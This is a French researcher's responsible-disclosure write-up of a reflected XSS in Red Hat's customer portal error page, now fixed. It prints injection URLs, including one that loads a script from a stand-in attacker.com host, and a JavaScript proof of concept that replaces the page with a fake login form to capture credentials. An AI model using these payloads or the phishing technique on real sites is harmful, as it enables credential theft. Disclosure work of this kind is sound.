La page d’erreur générique du portail client de RedHat souffre d’une vulnérabilité de Cross-Site Scripting réfléchi, permettant de voler les crédentiels des utilisateurs en clair.
Introduction
Dans le cadre de mes projets personnels, comme au cours de mon activité professionnelle, il n’est pas rare que je me connecter sur les sites de RedHat pour télécharger des ressources (ou trouver des solutions à des bugs plus ou moins tordus :)). C’est au sein d’une recherche tout ce qu’il y a de plus banal, que j’ai atteint une page d’erreur en suivant un lien vers un sujet de support RedHat… Et cette page comprenait des paramètres GET dont l’un disposait d’une vulnérabilité.
Red Hat est une société multinationale d’origine américaine éditant des distributions GNU/Linux. Elle est l’une des entreprises dédiées aux logiciels Open Source les plus importantes et les plus reconnues. Elle constitue également le premier distributeur du système d’exploitation GNU/Linux.
L’entreprise est principalement connue pour son produit Red Hat Enterprise Linux, un système d’exploitation destiné aux entreprises. Red Hat fournit des plateformes logicielles (système d’exploitation, intergiciel comme JBoss).
RedHat dispose d’un portail dédié à ses clients (notamment pour le support). Celui-ci est accessible via « access.redhat.com ». La page d’erreur générique, lorsqu’on suivait un lien malencontreusement erroné, nous affichait un message en réfléchissant le lien passé en paramètre. Une vulnérabilité de type R-XSS était présente.
Analyse et exploitation
RXSS canonique alert()
La réflexion se situait au niveau du paramètre GET « uri » dans l’URL :
https://access.redhat.com/downloads/content/error?code=403&uri=</mark><img src=x onerror="alert(/Yann CAM - Security Consultant @ASafety - SYNETIS/)" /><mark>&client=13.37.13.37&edge=13.37.13.37×tamp=1446643590
Ce paramètre n’était pas filtré ni nettoyé avant d’être réinjecté dans le code source de la page, traduisant le vecteur précédent par une alert() canonique :
Canonical alert() RXSS RedHat
Au niveau de la source, aucune vérification de la valeur du paramètre « uri » n’est effectuée :
RedHat RXSS source-code
Conception d’un payload d’exploitation
Dans le cas présent, la RXSS se situe sur un domaine d’intérêt (le portail client access.redhat.com) mais pour simuler une mire d’authentification, il est nécessaire de réinitialiser le DOM de la page.
L’exécution de JavaScript arbitraire dans le contexte de la page étant réalisée avec succès, un assaillant peut charger un script JS distant (tant que celui-ci est accessible au travers d’HTTPS – protocole HSTS) et modifier à sa guise le DOM du navigateur des victimes.
Un tel payload d’exploitation au sein d’un script JS distant permettrait par exemple de :
- Supprimer tout le contenu actuel visible dans le navigateur
- Recréer une page (DOM) complet arbitrairement, selon la volonté de l’attaquant. La création d’une page strictement similaire à la mire d’authentification officielle de RedHat serait un choix judicieux.
RedHat dispose d’une page d’authentification centralisée (IdP) : https://idp.redhat.com
Legitimate IdP of RedHat
L’idée va être de cloner le code source de cette page (HTML / JS / CSS) pour le réécrire à la volée dans le contexte de « access.redhat.com », là où notre XSS opère.
A la différence de la page de l’IdP officiel, celle-ci va être légèrement modifiée pour transmettre en clair les identifiants saisis par d’éventuelles victimes (en guise de démonstration).
Pour mener à bien le PoC d’exploitation, en simulant l’IdP officiel et en modifiant le comportement du formulaire, l’assailant peut employer le fichier x.js suivant :
// Delete all current DOM (<head>, <body>, <style>, etc...)
document.documentElement.innerHTML = '';
function heredoc (f) {
return f.toString().match(/\/\*\s*([\s\S]*?)\s*\*\//m)[1].replace(/(\/\*[\s\S]*?\*) \//g, '$1/');
};
var content = heredoc(function() {/*
<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml" lang="" />
[...] Source code of the RedHat IdP modified to grab user's credential [...]
</html>
*/});
setTimeout('document.write(content)', 1000);
Une fois ce fichier x.js hébergé sur « https://attacker.com/x.js », puis chargé dans le DOM du navigateur d’une victime visitant « access.redhat.com », les modifications suivantes en découlent :
- Toute la page courante (DOM) est vidée instantanément
- Le DOM est recréé à l’image de la (fausse) page identique à l’IdP légitime de RedHat
- Le formulaire d’authentification de ce faux-IdP est modifié pour envoyer les logins / passwords en clair à l’attaquant
Pour la victime, outre un temps d’authentification supplémentaire d’une seconde, aucun changement n’est visible.
Le fichier x.js est chargé dans le DOM d’une victime via une URL de la sorte :
https://access.redhat.com/downloads/content/error?code=403&uri=</mark><img src=x onerror="var s%3Ddocument.createElement('script')%3Bs.setAttribute('src','https://attacker.com/x.js')%3Bdocument.getElementsByTagName('head').item(0).appendChild(s)%3B" /><mark>&client=13.37.13.37&edge=13.37.13.37×tamp=1446643590
Rendu du faux-IdP dans le contexte de « access.redhat.com » :
Fake-IdP created in the DOM
Exploitation et démonstration
Pour illustrer l’utilisation de cette technique et afin d’appuyer mes propos auprès des équipes de RedHat, voici une vidéo de démonstration du scénario complet d’attaque. Un attaquant pourrait par la suite démarrer une campagne de phishing / spear-phishing à partir de l’URL d’exploitation de la vulnérabilité. Il peut cibler des sysadmins / DSI / RSSI d’entreprise disposant d’un accès RedHat, et par conséquent dérober leurs crédentiels.
Notification et conclusion
Les équipes de RedHat ont été alertées le 04 novembre 2015 avec les détails de la XSS canonique. Suite à une réponse et des remerciements datés 09/11/2015, s’en est suivi plusieurs échanges techniques quant au process de reproduction de la vulnérabilité.
Le 16 janvier 2016, j’ai envoyé un email pour obtenir un statut quand à l’identification de la vulnérabilité et de son correctif. Deux jours après, Jiri me répondait qu’elle avait bien été identifié mais n’était pas encore corrigée.
Le 17 mars 2016 la vulnérabilité est toujours présente. Je me lance dans la conception d’un PoC illustrant la criticité de la vulnérabilité (vidéo de démonstration ci-dessus), afin d’appuyer mes propos auprès des équipes RedHat. C’est toujours plus parlant auprès des décideurs une démonstration visuelle de l’impact d’une vulnérabilité plutôt qu’une simple « alert() JavaScript ». J’avais déjà opté pour du responsible-disclosure de la sorte avec Fortinet.
Le lendemain, j’obtiens un retour avec une nouvelle fois des remerciements quant à ce « great PoC ». Le correctif est en cours de test.
Je vérifie le 25 avril 2016 si la vulnérabilité est toujours présente et elle semble bien corrigée ! J’envoi un message à Jiri pour avoir confirmation. Celui-ci me répond le 27 avril 2016 en me confirmant le fix et en sollictant mes détails pour un acknowledgement.
Après ces quelques mois d’échanges, je tiens à remercier Jiri pour son amabilité, son intérêt et sa rapidité de réponse pour tous les échanges que l’on a eu 😉 !
Merci également pour l’acknowledgement au passage !
RedHat acknowledgement
Sources & ressources :
